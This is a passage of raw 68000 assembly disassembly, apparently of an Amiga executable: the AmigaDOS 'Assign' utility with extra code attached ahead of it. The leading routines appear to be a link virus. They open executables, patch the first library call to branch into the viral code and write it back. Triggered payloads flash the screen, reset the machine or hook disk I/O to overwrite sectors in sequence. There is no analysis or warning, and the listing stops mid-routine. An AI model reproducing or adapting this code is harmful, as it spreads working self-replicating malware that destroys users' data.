BEQ.S LAB_009D ;0DC0: 6722
CMPI.B #$56,(A0) ;0DC2: 0C100056
BEQ.S LAB_009D ;0DC6: 671C
LAB_009B:
CMPI.B #$2E,(A0) ;0DC8: 0C10002E
BNE.S LAB_009C ;0DCC: 6610
CMPI.B #$6C,1(A0) ;0DCE: 0C28006C0001
BNE.S LAB_009C ;0DD4: 6608
CMPI.B #$4C,1(A0) ;0DD6: 0C28004C0001
BEQ.S LAB_009D ;0DDC: 6706
LAB_009C:
TST.B (A0)+ ;0DDE: 4A18
BNE.S LAB_009B ;0DE0: 66E6
BSR.S LAB_009F ;0DE2: 6106
LAB_009D:
MOVEM.L (A7)+,D0-D7/A0-A6 ;0DE4: 4CDF7FFF
LAB_009E:
RTS ;0DE8: 4E75
LAB_009F:
MOVEA.L LAB_008C+2(PC),A6 ;0DEA: 2C7AFF4A
MOVE.L LAB_008F(PC),D1 ;0DEE: 223AFF4E
MOVEQ #-2,D2 ;0DF2: 74FE
JSR -84(A6) ;0DF4: 4EAEFFAC
MOVE.L D0,D7 ;0DF8: 2E00
BEQ.S LAB_009E ;0DFA: 67EC
MOVEA.L LAB_008E(PC),A5 ;0DFC: 2A7AFF3C
ADDA.L #$00000FA0,A5 ;0E00: DBFC00000FA0
MOVE.L A5,D2 ;0E06: 240D
MOVE.L D7,D1 ;0E08: 2207
JSR -114(A6) ;0E0A: 4EAEFF8E
MOVE.L A5,D2 ;0E0E: 240D
MOVE.L D7,D1 ;0E10: 2207
ADDI.L #$000003E8,D2 ;0E12: 0682000003E8
JSR -102(A6) ;0E18: 4EAEFF9A
MOVE.L D7,D1 ;0E1C: 2207
JSR -90(A6) ;0E1E: 4EAEFFA6
MOVEA.L A5,A0 ;0E22: 204D
CMPI #$0052,10(A0) ;0E24: 0C680052000A
BNE LAB_009E ;0E2A: 6600FFBC
MOVE.L 12(A0),D0 ;0E2E: 2028000C
MOVE.L D0,D2 ;0E32: 2400
MOVE.L 16(A0),D1 ;0E34: 22280010
SUB.L D1,D0 ;0E38: 9081
CMP.L #$00000004,D0 ;0E3A: B0BC00000004
BLE.S LAB_009E ;0E40: 6FA6
ADDA.L #$000003E8,A5 ;0E42: DBFC000003E8
MOVE.L 124(A5),D0 ;0E48: 202D007C
CMP.L #$00000A28,D0 ;0E4C: B0BC00000A28
BLE LAB_009E ;0E52: 6F00FF94
CMP.L #$00001770,D2 ;0E56: B4BC00001770
BGT.S LAB_00A0 ;0E5C: 6E0C
CMP.L #$00007530,D0 ;0E5E: B0BC00007530
BGT LAB_009E ;0E64: 6E00FF82
BRA.S LAB_00A1 ;0E68: 600A
LAB_00A0:
CMP.L #$00046CD0,D0 ;0E6A: B0BC00046CD0
BGT LAB_009E ;0E70: 6E00FF76
LAB_00A1:
MOVE.L A6,-(A7) ;0E74: 2F0E
MOVEA.L (ABSEXECBASE).W,A6 ;0E76: 2C780004
MOVE.L 124(A5),D0 ;0E7A: 202D007C
MOVEQ #0,D1 ;0E7E: 7200
JSR -198(A6) ;0E80: 4EAEFF3A
MOVEA.L (A7)+,A6 ;0E84: 2C5F
MOVE.L D0,D7 ;0E86: 2E00
BEQ LAB_009E ;0E88: 6700FF5E
MOVE.L LAB_008F(PC),D1 ;0E8C: 223AFEB0
MOVE.L #$000003ED,D2 ;0E90: 243C000003ED
JSR -30(A6) ;0E96: 4EAEFFE2
MOVE.L D0,D1 ;0E9A: 2200
BEQ LAB_00A5 ;0E9C: 670000DA
MOVE.L D0,D6 ;0EA0: 2C00
MOVE.L D7,D2 ;0EA2: 2407
MOVE.L 124(A5),D3 ;0EA4: 262D007C
JSR -42(A6) ;0EA8: 4EAEFFD6
MOVE.L D6,D1 ;0EAC: 2206
JSR -36(A6) ;0EAE: 4EAEFFDC
BSR LAB_00A6 ;0EB2: 610000D4
MOVEA.L D7,A0 ;0EB6: 2047
CMPI #$03F3,2(A0) ;0EB8: 0C6803F30002
BNE LAB_00A5 ;0EBE: 660000B8
MOVE.L 20(A0),D0 ;0EC2: 20280014
ANDI.L #$00FFFFFF,D0 ;0EC6: 028000FFFFFF
ADDI.L #$00000134,20(A0) ;0ECC: 06A8000001340014
LAB_00A2:
CMPI #$03E9,(A0)+ ;0ED4: 0C5803E9
BNE.S LAB_00A2 ;0ED8: 66FA
CMP.L (A0),D0 ;0EDA: B090
BNE LAB_00A5 ;0EDC: 6600009A
ADDI.L #$00000134,(A0) ;0EE0: 069000000134
ADDQ.L #4,A0 ;0EE6: 5888
MOVEA.L A0,A4 ;0EE8: 2848
LSL.L #2,D0 ;0EEA: E588
ADDA.L D0,A0 ;0EEC: D1C0
CMPI.L #$01080402,-4(A0) ;0EEE: 0CA801080402FFFC
BEQ LAB_00A5 ;0EF6: 67000080
MOVEA.L A0,A3 ;0EFA: 2648
MOVEA.L A4,A0 ;0EFC: 204C
LAB_00A3:
CMPI #$4EAE,(A0)+ ;0EFE: 0C584EAE
BEQ.S LAB_00A4 ;0F02: 6706
SUBQ.L #2,D0 ;0F04: 5580
BNE.S LAB_00A3 ;0F06: 66F6
BRA.S LAB_00A5 ;0F08: 606E
LAB_00A4:
MOVE (A0),D6 ;0F0A: 3C10
SUBQ.L #2,A0 ;0F0C: 5588
MOVE.L A3,D0 ;0F0E: 200B
SUB.L A0,D0 ;0F10: 9088
CMP.L #$00007FF0,D0 ;0F12: B0BC00007FF0
BGT LAB_00A5 ;0F18: 6E00005E
MOVE #$4EBA,(A0)+ ;0F1C: 30FC4EBA
SUBQ.L #2,D0 ;0F20: 5580
MOVE D0,(A0) ;0F22: 3080
LEA LAB_0083(PC),A0 ;0F24: 41FAFD3E
MOVE D6,2(A0) ;0F28: 31460002
LEA LAB_008C(PC),A0 ;0F2C: 41FAFE06
ADDQ #1,(A0) ;0F30: 5250
MOVE.L LAB_008F(PC),D1 ;0F32: 223AFE0A
MOVE.L #$000003EE,D2 ;0F36: 243C000003EE
JSR -30(A6) ;0F3C: 4EAEFFE2
MOVE.L D0,D6 ;0F40: 2C00
BEQ.S LAB_00A5 ;0F42: 6734
MOVE.L D6,D1 ;0F44: 2206
MOVE.L D7,D2 ;0F46: 2407
MOVE.L A3,D3 ;0F48: 260B
SUB.L D7,D3 ;0F4A: 9687
JSR -48(A6) ;0F4C: 4EAEFFD0
MOVE.L D6,D1 ;0F50: 2206
LEA LAB_0083(PC),A0 ;0F52: 41FAFD10
MOVE.L A0,D2 ;0F56: 2408
MOVE.L #$000004D0,D3 ;0F58: 263C000004D0
JSR -48(A6) ;0F5E: 4EAEFFD0
MOVE.L D6,D1 ;0F62: 2206
MOVE.L A3,D2 ;0F64: 240B
MOVE.L 124(A5),D3 ;0F66: 262D007C
ADD.L D7,D3 ;0F6A: D687
SUB.L A3,D3 ;0F6C: 968B
JSR -48(A6) ;0F6E: 4EAEFFD0
MOVE.L D6,D1 ;0F72: 2206
JSR -36(A6) ;0F74: 4EAEFFDC
LAB_00A5:
MOVEA.L (ABSEXECBASE).W,A6 ;0F78: 2C780004
MOVEA.L D7,A1 ;0F7C: 2247
MOVE.L 124(A5),D0 ;0F7E: 202D007C
JSR -210(A6) ;0F82: 4EAEFF2E
RTS ;0F86: 4E75
LAB_00A6:
MOVEM.L D0-D7/A0-A6,-(A7) ;0F88: 48E7FFFE
MOVEQ #0,D0 ;0F8C: 7000
MOVE VHPOSR,D0 ;0F8E: 303900DFF006
ANDI #$000F,D0 ;0F94: 0240000F
CMP #$0007,D0 ;0F98: B07C0007
BNE.S LAB_00A7 ;0F9C: 663A
MOVE LAB_008C(PC),D0 ;0F9E: 303AFD94
CMP #$003C,D0 ;0FA2: B07C003C
BGE.S LAB_00A8 ;0FA6: 6C36
CMP #$0032,D0 ;0FA8: B07C0032
BLT.S LAB_00A7 ;0FAC: 6D2A
MOVEA.L D7,A0 ;0FAE: 2047
CLR.L (A0) ;0FB0: 4290
MOVE.L LAB_008F(PC),D1 ;0FB2: 223AFD8A
MOVE.L #$000003EE,D2 ;0FB6: 243C000003EE
JSR -30(A6) ;0FBC: 4EAEFFE2
MOVE.L D0,D6 ;0FC0: 2C00
BEQ.S LAB_00A7 ;0FC2: 6714
MOVE.L D6,D1 ;0FC4: 2206
LEA LAB_0083(PC),A0 ;0FC6: 41FAFC9C
MOVE.L A0,D2 ;0FCA: 2408
MOVEQ #10,D3 ;0FCC: 760A
JSR -48(A6) ;0FCE: 4EAEFFD0
MOVE.L D6,D1 ;0FD2: 2206
JSR -36(A6) ;0FD4: 4EAEFFDC
LAB_00A7:
MOVEM.L (A7)+,D0-D7/A0-A6 ;0FD8: 4CDF7FFF
RTS ;0FDC: 4E75
LAB_00A8:
MOVE.L 124(A5),D0 ;0FDE: 202D007C
CMP.L #$00002710,D0 ;0FE2: B0BC00002710
BGE.S LAB_00AA ;0FE8: 6C3A
LEA LAB_00AD(PC),A0 ;0FEA: 41FA0098
MOVE.L A0,D6 ;0FEE: 2C08
BSR.S LAB_00AB ;0FF0: 6146
LEA LAB_0099(PC),A0 ;0FF2: 41FAFDB2
MOVE.L A0,D1 ;0FF6: 2208
MOVE.L #$000003EE,D2 ;0FF8: 243C000003EE
JSR -30(A6) ;0FFE: 4EAEFFE2
MOVE.L D0,D6 ;1002: 2C00
LAB_00A9:
MOVE.L D6,D1 ;1004: 2206
LEA LAB_0083(PC),A0 ;1006: 41FAFC5C
MOVE.L A0,D2 ;100A: 2408
MOVEQ #10,D3 ;100C: 760A
JSR -48(A6) ;100E: 4EAEFFD0
MOVEQ #3,D1 ;1012: 7203
JSR -198(A6) ;1014: 4EAEFF3A
MOVE VHPOSR,COLOR00 ;1018: 33F900DFF00600DFF180
BRA.S LAB_00A9 ;1022: 60E0
LAB_00AA:
LEA LAB_00B0(PC),A0 ;1024: 41FA00AE
MOVE.L A0,D6 ;1028: 2C08
BSR.S LAB_00AB ;102A: 610C
JMP EXT_0006 ;102C: 4EF900FC0000
RESET ;1032: 4E70
DC.W $FFFF ;1034
DC.W $FFFF ;1036
LAB_00AB:
MOVEM.L D0-D7/A0-A6,-(A7) ;1038: 48E7FFFE
MOVEA.L (ABSEXECBASE).W,A6 ;103C: 2C780004
MOVEQ #2,D1 ;1040: 7202
MOVE.L #$000001F4,D0 ;1042: 203C000001F4
JSR -198(A6) ;1048: 4EAEFF3A
MOVE.L D0,D7 ;104C: 2E00
MOVEA.L D0,A1 ;104E: 2240
MOVEA.L D6,A0 ;1050: 2046
MOVE.L #$000001F4,D0 ;1052: 203C000001F4
JSR -630(A6) ;1058: 4EAEFD8A
MOVEA.L D7,A1 ;105C: 2247
MOVE.L #$000001F4,D0 ;105E: 203C000001F4
JSR -204(A6) ;1064: 4EAEFF34
MOVE.L D7,46(A6) ;1068: 2D47002E
LEA 34(A6),A0 ;106C: 41EE0022
CLR D0 ;1070: 4240
MOVEQ #23,D7 ;1072: 7E17
LAB_00AC:
ADD (A0)+,D0 ;1074: D058
DBF D7,LAB_00AC ;1076: 51CFFFFC
NOT D0 ;107A: 4640
MOVE D0,(A0) ;107C: 3080
MOVEM.L (A7)+,D0-D7/A0-A6 ;107E: 4CDF7FFF
RTS ;1082: 4E75
LAB_00AD:
LEA HARDBASE,A5 ;1084: 4BF900DFF000
MOVE.L #$7FFF7FFF,150(A5) ;108A: 2B7C7FFF7FFF0096
MOVE #$8280,150(A5) ;1092: 3B7C82800096
MOVE #$C000,154(A5) ;1098: 3B7CC000009A
LEA LAB_00AF(PC),A0 ;109E: 41FA0018
MOVE.L A0,128(A5) ;10A2: 2B480080
MOVE D0,136(A5) ;10A6: 3B400088
MOVE #$0000,508(A5) ;10AA: 3B7C000001FC
MOVE #$0C00,262(A5) ;10B0: 3B7C0C000106
LAB_00AE:
BRA.S LAB_00AE ;10B6: 60FE
LAB_00AF:
BCLR D0,D0 ;10B8: 0180
DC.W $0000 ;10BA
BCLR D0,D2 ;10BC: 0182
DC.W $0000 ;10BE
MOVEQ #7,D0 ;10C0: 7007
DC.W $FFFE ;10C2
BCLR D0,D0 ;10C4: 0180
BTST D7,D0 ;10C6: 0F00
ADDX.B D7,D2 ;10C8: D507
DC.W $FFFE ;10CA
BCLR D0,D0 ;10CC: 0180
DC.W $0FF0 ;10CE
DC.W $FFFF ;10D0
DC.W $FFFE ;10D2
LAB_00B0:
MOVEA.L (ABSEXECBASE).W,A6 ;10D4: 2C780004
MOVE.L -454(A6),D0 ;10D8: 202EFE3A
LEA LAB_00B3(PC),A0 ;10DC: 41FA004C
MOVE.L D0,2(A0) ;10E0: 21400002
LEA LAB_00B1(PC),A0 ;10E4: 41FA0008
MOVE.L A0,-454(A6) ;10E8: 2D48FE3A
RTS ;10EC: 4E75
LAB_00B1:
CMPI #$0002,28(A1) ;10EE: 0C690002001C
BNE.S LAB_00B3 ;10F4: 6634
TST.L 44(A1) ;10F6: 4AA9002C
BNE.S LAB_00B3 ;10FA: 662E
MOVEQ #0,D7 ;10FC: 7E00
LAB_00B2:
MOVE #$0003,28(A1) ;10FE: 337C0003001C
LEA LAB_00B0(PC),A5 ;1104: 4BFAFFCE
MOVE.L A5,40(A1) ;1108: 234D0028
MOVE.L D7,36(A1) ;110C: 23470024
MOVE.L D7,44(A1) ;1110: 2347002C
JSR -456(A6) ;1114: 4EAEFE38
MOVE #$0004,28(A1) ;1118: 337C0004001C
JSR -456(A6) ;111E: 4EAEFE38
ADDI.L #$00000400,D7 ;1122: 068700000400
BRA.S LAB_00B2 ;1128: 60D4
LAB_00B3:
JMP EXT_0000 ;112A: 4EF900000000
MOVEP 1026(A0),D0 ;1130: 01080402
LAB_00B4:
DC.W $646F ;1134
DC.W $732E ;1136
DC.W $6C69 ;1138
BHI.S LAB_00B6 ;113A: 6272
BSR.S LAB_00B6+2 ;113C: 6172
DC.W $7900 ;113E
LAB_00B5:
TRAP #1 ;1140: 4E41
DC.W $4D45 ;1142
MOVEA.L (A4),A6 ;1144: 2C54
DC.W $4152 ;1146
DC.W $4745 ;1148
ADDQ.B #2,19756(A7) ;114A: 542F4D2C
DC.W $4C49 ;114E
SUBQ #1,(A4) ;1150: 5354
DC.W $2F53 ;1152
MOVEA.L D5,A6 ;1154: 2C45
ADDQ #4,A1 ;1156: 5849
SUBQ #1,(A4) ;1158: 5354
SUBQ.B #1,21292(A7) ;115A: 532F532C
DC.W $4449 ;115E
SUBQ #1,A5 ;1160: 534D
DC.W $4F55 ;1162
DC.W $4E54 ;1164
MOVE.L (A3),11332(A7) ;1166: 2F532C44
DC.W $4546 ;116A
DC.W $4552 ;116C
MOVE.L (A3),11344(A7) ;116E: 2F532C50
DC.W $4154 ;1172
NBCD 21292(A7) ;1174: 482F532C
DC.W $4144 ;1178
NEG.B 21292(A7) ;117A: 442F532C
ADDQ #1,D5 ;117E: 5245
DC.W $4D4F ;1180
ADDQ #3,D5 ;1182: 5645
MOVE.L (A3),11350(A7) ;1184: 2F532C56
DC.W $4F4C ;1188
SUBQ.B #1,21292(A7) ;118A: 532F532C
DC.W $4449 ;118E
ADDQ #1,(A3) ;1190: 5253
MOVE.L (A3),11332(A7) ;1192: 2F532C44
DC.W $4556 ;1196
DC.W $4943 ;1198
DC.W $4553 ;119A
MOVE.L (A3),36(A7) ;119C: 2F530024
ADDQ #3,D5 ;11A0: 5645
DC.W $523A ;11A2
MOVEA.L -(A1),A0 ;11A4: 2061
DC.W $7373 ;11A6
DC.W $6967 ;11A8
BGT.S LAB_00B9 ;11AA: 6E20
DC.W $3337 ;11AC
LAB_00B6:
MOVE.L 40(A5,D2.W),D7 ;11AE: 2E352028
DC.W $3230 ;11B2
DC.W $2E35 ;11B4
DC.W $2E39 ;11B6
DC.W $3229 ;11B8
DC.W $0A0D ;11BA
DC.W $0000 ;11BC
LAB_00B8:
DC.W $496E ;11BE
MOVEQ #97,D3 ;11C0: 7661
DC.W $6C69 ;11C2
BCC.S LAB_00BB+2 ;11C4: 6420
DC.W $6465 ;11C6
MOVEQ #105,D3 ;11C8: 7669
DC.W $6365 ;11CA
LAB_00B9:
DC.W $206E ;11CC
DC.W $616D ;11CE
BCS.S LAB_00BC ;11D0: 6520
DC.W $2573 ;11D2
DC.W $0A00 ;11D4
LAB_00BA:
DC.W $4F6E ;11D6
DC.W $6C79 ;11D8
DC.W $206F ;11DA
DC.W $6E65 ;11DC
MOVEA.L 26144(A7),A0 ;11DE: 206F6620
DC.W $4144 ;11E2
LAB_00BB:
NEG.B 8275(A4) ;11E4: 442C2053
SUBQ #2,D2 ;11E8: 5542
MOVE.L -(A0),D6 ;11EA: 2C20
ADDQ #8,D1 ;11EC: 5041
ADDQ #2,A0 ;11EE: 5448
MOVE.L -(A0),D6 ;11F0: 2C20
LAB_00BC:
BLE.S LAB_00C2 ;11F2: 6F72
MOVEA.L D4,A0 ;11F4: 2044
DC.W $4546 ;11F6
DC.W $4552 ;11F8
MOVEA.L -(A1),A0 ;11FA: 2061
BGE.S LAB_00C4 ;11FC: 6C6C
DC.W $6F77 ;11FE
BCS.S LAB_00C2 ;1200: 6564
DC.W $0A00 ;1202
LAB_00BD:
DC.W $4361 ;1204
DC.W $6E27 ;1206
MOVEQ #32,D2 ;1208: 7420
DC.W $6173 ;120A
DC.W $7369 ;120C
BEQ.S LAB_00C7 ;120E: 676E
MOVE.L -(A5),D0 ;1210: 2025
DC.W $730A ;1212
DC.W $0000 ;1214
LAB_00BE:
DC.W $4361 ;1216
DC.W $6E27 ;1218
MOVEQ #32,D2 ;121A: 7420
DC.W $6669 ;121C
BGT.S LAB_00C8+2 ;121E: 6E64
MOVE.L -(A5),D0 ;1220: 2025
DC.W $730A ;1222
DC.W $0000 ;1224
LAB_00BF:
DC.W $4361 ;1226
DC.W $6E27 ;1228
MOVEQ #32,D2 ;122A: 7420
DC.W $7375 ;122C
BHI.S LAB_00CD ;122E: 6274
MOVEQ #97,D1 ;1230: 7261
BLS.S LAB_00CE ;1232: 6374
MOVE.L -(A5),D0 ;1234: 2025
DC.W $7320 ;1236
BNE.S LAB_00CF ;1238: 6672
DC.W $6F6D ;123A
MOVE.L -(A5),D0 ;123C: 2025
DC.W $730A ;123E
DC.W $0000 ;1240
LAB_00C0:
DC.W $4361 ;1242
DC.W $6E27 ;1244
MOVEQ #32,D2 ;1246: 7420
BSR.S LAB_00D0 ;1248: 6164
BCC.S LAB_00C5 ;124A: 6420
MOVE.L 116(A3,D2.W),28448(A2) ;124C: 257320746F20
DC.W $2573 ;1252
DC.W $0A00 ;1254
LAB_00C1:
DC.W $4361 ;1256
DC.W $6E27 ;1258
MOVEQ #32,D2 ;125A: 7420
DC.W $6361 ;125C
DC.W $6E63 ;125E
BCS.S LAB_00D7 ;1260: 656C
MOVE.L -(A5),D0 ;1262: 2025
DC.W $730A ;1264
LAB_00C2:
DC.W $0000 ;1266
LAB_00C3:
DC.W $566F ;1268
LAB_00C4:
DC.W $6C75 ;126A
LAB_00C5:
DC.W $6D65 ;126C
DC.W $733A ;126E
DC.W $0A00 ;1270
LAB_00C6:
EORI #$6972,D4 ;1272: 0A446972
DC.W $6563 ;1276
MOVEQ #111,D2 ;1278: 746F
MOVEQ #105,D1 ;127A: 7269
DC.W $6573 ;127C
LAB_00C7:
MOVE A2,D5 ;127E: 3A0A
DC.W $0000 ;1280
LAB_00C8:
EORI #$6576,D4 ;1282: 0A446576
DC.W $6963 ;1286
DC.W $6573 ;1288
MOVE A2,D5 ;128A: 3A0A
DC.W $0000 ;128C
LAB_00CA:
MOVEA.L (A3)+,A0 ;128E: 205B
DC.W $4D6F ;1290
DC.W $756E ;1292
MOVEQ #101,D2 ;1294: 7465
DC.W $645D ;1296
DC.W $0A00 ;1298
LAB_00CB:
DC.W $0A00 ;129A
LAB_00CC:
MOVE.L -(A0),D0 ;129C: 2020
MOVE.L -(A0),D0 ;129E: 2020
MOVE.L -(A0),D0 ;12A0: 2020
MOVE.L -(A0),D0 ;12A2: 2020
LAB_00CD:
MOVE.L -(A0),D0 ;12A4: 2020
MOVE.L -(A0),D0 ;12A6: 2020
LAB_00CE:
MOVE.L -(A0),D0 ;12A8: 2020
MOVE.L D0,D0 ;12AA: 2000
LAB_00CF:
MOVE.L -(A0),D0 ;12AC: 2020
LAB_00D0:
MOVE.L -(A0),D0 ;12AE: 2020
MOVE.L -(A0),D0 ;12B0: 2020
MOVE.L -(A0),D0 ;12B2: 2020
MOVE.L -(A0),D0 ;12B4: 2020
MOVE.L -(A0),D0 ;12B6: 2020
MOVE.L 8192(A3),D0 ;12B8: 202B2000
LAB_00D1:
MOVE D0,D6 ;12BC: 3C00
LAB_00D2:
MOVE A2,D7 ;12BE: 3E0A
DC.W $0000 ;12C0
LAB_00D3:
SUBQ.B #5,D0 ;12C2: 5B00
LAB_00D4:
DC.W $5D0A ;12C4
DC.W $0000 ;12C6
LAB_00D5:
MOVE.L D0,D0 ;12C8: 2000
LAB_00D6:
DC.W $2573 ;12CA
MOVE -(A0),D5 ;12CC: 3A20
LAB_00D7:
DC.W $6E6F ;12CE
MOVEQ #32,D2 ;12D0: 7420
DC.W $6173 ;12D2
DC.W $7369 ;12D4
BEQ.S LAB_00DF ;12D6: 676E
BCS.S LAB_00DE ;12D8: 6564
DC.W $0A00 ;12DA
LAB_00D8:
DC.W $566F ;12DC
DC.W $6C75 ;12DE
DC.W $6D65 ;12E0
MOVE -(A0),D5 ;12E2: 3A20
DC.W $0000 ;12E4
LAB_00D9:
DC.W $3F3F ;12E6
MOVE D0,-(A7) ;12E8: 3F00
LAB_00DA:
DC.W $4173 ;12EA
DC.W $7369 ;12EC
BEQ.S LAB_00E1 ;12EE: 676E
DC.W $2077 ;12F0
DC.W $6F75 ;12F2
BGE.S LAB_00E0 ;12F4: 6C64
DC.W $2072 ;12F6
BCS.S LAB_00E1+2 ;12F8: 6566
BCS.S LAB_00E4+2 ;12FA: 6572
DC.W $2074 ;12FC
BLE.S LAB_00DC ;12FE: 6F20
BVS.S LAB_00E7 ;1300: 6974
DC.W $7365 ;1302
BGE.S LAB_00E4 ;1304: 6C66
DC.W $0A00 ;1306
LAB_00DB:
LINK A5,#-264 ;1308: 4E55FEF8
MOVEM.L D2-D3/D7/A2-A3/A6,-(A7) ;130C: 48E73132
MOVE.L D0,D7 ;1310: 2E00
MOVEA.L A1,A3 ;1312: 2649
MOVE.L A0,-264(A5) ;1314: 2B48FEF8
TST.L D7 ;1318: 4A87
BEQ LAB_00E9 ;131A: 67000082
MOVE.L D7,D0 ;131E: 2007
LAB_00DC:
ASL.L #2,D0 ;1320: E580
MOVEA.L D0,A0 ;1322: 2040
MOVE.L 16(A0),D1 ;1324: 22280010
ASL.L #2,D1 ;1328: E581
MOVEA.L D1,A2 ;132A: 2441
MOVE.L A2,D0 ;132C: 200A
BEQ.S LAB_00DD ;132E: 6706
TST.L 8(A2) ;1330: 4AAA0008
BNE.S LAB_00E6 ;1334: 663C
LAB_00DD:
MOVEQ #8,D0 ;1336: 7008
LEA LAB_00D8(PC),A0 ;1338: 41FAFFA2
MOVEA.L A3,A1 ;133C: 224B
LAB_00DE:
BSR LAB_00EA ;133E: 61000072
MOVE.L A2,D0 ;1342: 200A
BEQ.S LAB_00E3 ;1344: 671E
LAB_00DF:
MOVE.L 40(A2),D0 ;1346: 202A0028
ASL.L #2,D0 ;134A: E580
MOVEA.L D0,A0 ;134C: 2040
LEA 1(A0),A1 ;134E: 43E80001
MOVE.B (A0),D1 ;1352: 1210
EXT D1 ;1354: 4881
EXT.L D1 ;1356: 48C1
MOVE.L D1,D0 ;1358: 2001
LAB_00E0:
MOVEA.L A1,A0 ;135A: 2049
MOVEA.L A3,A1 ;135C: 224B
LAB_00E1:
BSR LAB_00EA ;135E: 61000052
BRA.S LAB_00E9 ;1362: 603A
LAB_00E3:
MOVEQ #3,D0 ;1364: 7003
LEA LAB_00D9(PC),A0 ;1366: 41FAFF7E
MOVEA.L A3,A1 ;136A: 224B
LAB_00E4:
BSR LAB_00EA ;136C: 61000044
BRA.S LAB_00E9 ;1370: 602C
LAB_00E6:
CLR.B -260(A5) ;1372: 422DFEFC
LAB_00E7:
MOVE.L D7,D1 ;1376: 2207
LEA -260(A5),A0 ;1378: 41EDFEFC
MOVE.L A0,D2 ;137C: 2408
MOVEQ #0,D3 ;137E: 7600
NOT.B D3 ;1380: 4603
MOVEA.L -264(A5),A6 ;1382: 2C6DFEF8
JSR -402(A6) ;1386: 4EAEFE6E
MOVEA.L D2,A0 ;138A: 2042
LAB_00E8:
TST.B (A0)+ ;138C: 4A18
BNE.S LAB_00E8 ;138E: 66FC
SUBQ.L #1,A0 ;1390: 5388
SUBA.L D2,A0 ;1392: 91C2
MOVE.L A0,D0 ;1394: 2008
MOVEA.L D2,A0 ;1396: 2042
MOVEA.L A3,A1 ;1398: 224B
BSR LAB_00EA ;139A: 61000016
LAB_00E9:
MOVEQ #1,D0 ;139E: 7001
LEA LAB_00CB(PC),A0 ;13A0: 41FAFEF8
MOVEA.L A3,A1 ;13A4: 224B
BSR LAB_00EA ;13A6: 6100000A
MOVEM.L (A7)+,D2-D3/D7/A2-A3/A6 ;13AA: 4CDF4C8C
UNLK A5 ;13AE: 4E5D
RTS ;13B0: 4E75
LAB_00EA:
LINK A5,#-16 ;13B2: 4E55FFF0
MOVEM.L D7/A2-A3/A6,-(A7) ;13B6: 48E70132
MOVE.L D0,D7 ;13BA: 2E00
MOVEM.L A0-A1,-16(A5) ;13BC: 48ED0300FFF0
MOVEA #$0004,A0 ;13C2: 307C0004
MOVEA.L (A0),A2 ;13C6: 2450
MOVEA.L -12(A5),A0 ;13C8: 206DFFF4
MOVEA.L (A0),A3 ;13CC: 2650
MOVE.L 8(A3),D0 ;13CE: 202B0008
TST.L D0 ;13D2: 4A80
BPL.S LAB_00EB ;13D4: 6A04
MOVEQ #1,D0 ;13D6: 7001
BRA.S LAB_00F2 ;13D8: 6070
LAB_00EB:
MOVE.L 8(A3),D0 ;13DA: 202B0008
ADD.L D7,D0 ;13DE: D087
CMP.L 12(A3),D0 ;13E0: B0AB000C
BLT.S LAB_00EF ;13E4: 6D48
MOVE.L (A3),D0 ;13E6: 2013
BEQ.S LAB_00EC ;13E8: 6704
MOVEA.L D0,A3 ;13EA: 2640
BRA.S LAB_00EE ;13EC: 602C
LAB_00EC:
MOVE.L #$00000410,D0 ;13EE: 203C00000410
MOVEQ #0,D1 ;13F4: 7200
MOVEA.L A2,A6 ;13F6: 2C4A
JSR -198(A6) ;13F8: 4EAEFF3A
MOVE.L D0,(A3) ;13FC: 2680
BNE.S LAB_00ED ;13FE: 660A
MOVEQ #-1,D1 ;1400: 72FF
MOVE.L D1,8(A3) ;1402: 27410008
MOVEQ #1,D0 ;1406: 7001
BRA.S LAB_00F2 ;1408: 6040
LAB_00ED:
MOVEA.L (A3),A1 ;140A: 2253
MOVE.L #$00000400,12(A1) ;140C: 237C00000400000C
MOVEA.L A1,A3 ;1414: 2649
SUBA.L A1,A1 ;1416: 93C9
MOVE.L A1,(A3) ;1418: 2689
LAB_00EE:
MOVEQ #0,D0 ;141A: 7000
MOVE.L D0,8(A3) ;141C: 27400008
LEA 16(A3),A0 ;1420: 41EB0010
MOVE.L A0,4(A3) ;1424: 27480004
MOVEA.L -12(A5),A1 ;1428: 226DFFF4
MOVE.L A3,(A1) ;142C: 228B
LAB_00EF:
MOVEA.L 4(A3),A0 ;142E: 206B0004
ADDA.L 8(A3),A0 ;1432: D1EB0008
MOVE.L D7,D0 ;1436: 2007
MOVEA.L -16(A5),A1 ;1438: 226DFFF0
BRA.S LAB_00F1 ;143C: 6002
LAB_00F0:
MOVE.B (A1)+,(A0)+ ;143E: 10D9
LAB_00F1:
SUBQ.L #1,D0 ;1440: 5380
BCC.S LAB_00F0 ;1442: 64FA
ADD.L D7,8(A3) ;1444: DFAB0008
MOVEQ #0,D0 ;1448: 7000
LAB_00F2:
MOVEM.L (A7)+,D7/A2-A3/A6 ;144A: 4CDF4C80
UNLK A5 ;144E: 4E5D
RTS ;1450: 4E75
LAB_00F3:
LINK A5,#-12 ;1452: 4E55FFF4
MOVEM.L D2/D7/A2-A3/A6,-(A7) ;1456: 48E72132
MOVEA.L A1,A3 ;145A: 2649
MOVE.L A0,-12(A5) ;145C: 2B48FFF4
BRA.S LAB_00FB ;1460: 6058
LAB_00F4:
MOVE.L 8(A3),D0 ;1462: 202B0008
TST.L D0 ;1466: 4A80
BLE.S LAB_00F9 ;1468: 6F40
MOVEA.L 4(A3),A2 ;146A: 246B0004
MOVE.L D0,D7 ;146E: 2E00
BRA.S LAB_00F8 ;1470: 6032
LAB_00F5:
MOVE.L #$00001000,D1 ;1472: 223C00001000
MOVEA.L -12(A5),A6 ;1478: 2C6DFFF4
JSR -792(A6) ;147C: 4EAEFCE8
TST.L D0 ;1480: 4A80
BEQ.S LAB_00F6 ;1482: 6708
MOVE.L #$00000130,D0 ;1484: 203C00000130
BRA.S LAB_00FC ;148A: 6032
LAB_00F6:
MOVEQ #100,D0 ;148C: 7064
CMP.L D0,D7 ;148E: BE80
BGT.S LAB_00F7 ;1490: 6E02
MOVE.L D7,D0 ;1492: 2007
LAB_00F7:
MOVE.L D0,D2 ;1494: 2400
MOVE.L A2,D1 ;1496: 220A
JSR -942(A6) ;1498: 4EAEFC52
MOVEQ #100,D0 ;149C: 7064
SUB.L D0,D7 ;149E: 9E80
ADDA #$0064,A2 ;14A0: D4FC0064
LAB_00F8:
TST.L D7 ;14A4: 4A87
BGT.S LAB_00F5 ;14A6: 6ECA
BRA.S LAB_00FA ;14A8: 600A
LAB_00F9:
MOVE.L 8(A3),D0 ;14AA: 202B0008
BEQ.S LAB_00FC ;14AE: 670E
MOVEQ #103,D0 ;14B0: 7067
BRA.S LAB_00FC ;14B2: 600A
LAB_00FA:
CLR.L 8(A3) ;14B4: 42AB0008
